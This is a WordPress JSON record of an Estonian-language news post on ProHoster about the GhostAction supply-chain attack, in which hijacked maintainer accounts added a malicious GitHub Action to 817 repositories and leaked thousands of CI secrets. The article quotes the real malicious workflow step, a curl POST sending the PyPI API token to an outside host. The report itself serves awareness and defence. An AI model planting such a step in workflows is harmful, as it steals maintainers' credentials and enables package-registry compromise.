{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"GhostAction r\u00fcnnaku k\u00e4igus on kompromiteeritud 817 GitHubi hoidlat.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

GitGuardian'i teadlased avastasid massilise r\u00fcnnaku GitHubi kasutajate vastu, mille k\u00e4igus saadi kontroll 327 kontole ning nakatati 817 hoidlat pahatahtliku Github Action t\u00f6\u00f6tlejaga. R\u00fcnnak t\u00f5i kaasa 3325 saladuse lekke, mis on kasutusel pidevas integreerimises ja edastatakse keskkonna muutujate kaudu, sealhulgas juurdep\u00e4\u00e4sutokenid PyPI, GitHubi, NPM-i, DockerHubi ja erinevatesse pilvehoidlatest.

\"GhostAction<\/center> <\/p>\n

GitHub Actions annab kodeerijatele v\u00f5imaluse kinnitada k\u00e4sitlejaid erinevate operatsioonide automatiseerimiseks GitHubis. N\u00e4iteks on GitHub Actions abil v\u00f5imalik teostada teatud kontrollerid ja testid commitide tegemisel v\u00f5i automatiseerida uute Issues t\u00f6\u00f6tlemist. Kahjulik k\u00e4sitleja levis nime all «Github Actions Security» ja sisaldas osas «run» k\u00e4sku «curl», mis edastas keskkonnamuutujate sisu v\u00e4lisele hostile pideva integratsiooni keskkonnas \u00fclesannete k\u00e4ivitamisel. Kahjulik commit lisati projektide hoidjate kontode kaudu, mis t\u00f5en\u00e4oliselt olid varem h\u00e4kitud v\u00f5i langesid kalap\u00fc\u00fcgiga ohvriks. <\/p>\n

R\u00fcnnak tuvastati p\u00e4rast anomaalse tegevuse anal\u00fc\u00fcsimist, mis oli seotud paketi FastUUID-ga, mis pakub Pythonile \u00fcmbritsevat koodi Rusti teegi UUID \u00fcle. Paketil FastUUID, millel on viimase n\u00e4dala jooksul olnud peaaegu 1,2 miljonit allalaadimist, kasutatakse s\u00f5ltuvusena populaarsetes projektides nagu LiteLLM, millel on PyPIs \u00fcle 5 miljoni allalaadimise n\u00e4dalas. FastUUID hoidla muudatuste anal\u00fc\u00fcs n\u00e4itas, et 2. septembril lisas projekti hoidja commit'i uue Github Action'i k\u00e4sitlejaga, mis sisaldas koodi PyPI hoidla tokeni edastamiseks v\u00e4lisele hostile. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n

Probleem \u00f5nnestus tuvastada enne, kui kurjategijad said \u00e4ra kasutada kinnihoitud tokenit \u2014 kahjustatud muudatuste v\u00f5i muudetud versioonide avaldamist pakendis FastUUID PyPIs ei ole registreeritud. Sarnased asendused Github Action'ites on tuvastatud veel 816 hoidlas, mille omanikele, samuti PyPIn, GitHubi, NPM'i ja DockerHubi haldusele on saadetud teated. Eile \u00f5htul olid kahjulikud commit'id eemaldatud ligikaudu 100 hoidlast. Hetkel tuvastatakse GitHubis 671 commit'i kahjuliku Github Action'iga.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 3325 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a PyPI, GitHub, NPM, DockerHub \u0438 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":142434,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-142433","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47R\u00fcnnaku GhostAction k\u00e4igus lasti 817 hoidlat GitHubis | ProHoster","description":"GitGuardian'i teadlased avastasid massilise r\u00fcnnaku GitHubi kasutajate vastu, mille k\u00e4igus saadi kontroll 327 kontole ning nakatati 817 hoidlat pahatahtliku Github Action t\u00f6\u00f6tlejaga. R\u00fcnnak t\u00f5i kaasa 3325 saladuse lekke, mis on kasutusel pidevas integreerimises ja edastatakse keskkonna muutujate kaudu, sealhulgas juurdep\u00e4\u00e4sutokenid PyPI, GitHub, NPM, DockerHub ja","canonical_url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438 GhostAction \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0430 GitHub | ProHoster","og:description":"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 3325 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a PyPI, GitHub, NPM, DockerHub \u0438","og:url":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-09-06T09:11:59+00:00","article:modified_time":"2025-09-06T09:11:59+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"142433","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:39:19","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:39:19","updated":"2026-01-23 14:39:19"},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/142433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=142433"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/142433\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/142434"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=142433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=142433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=142433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}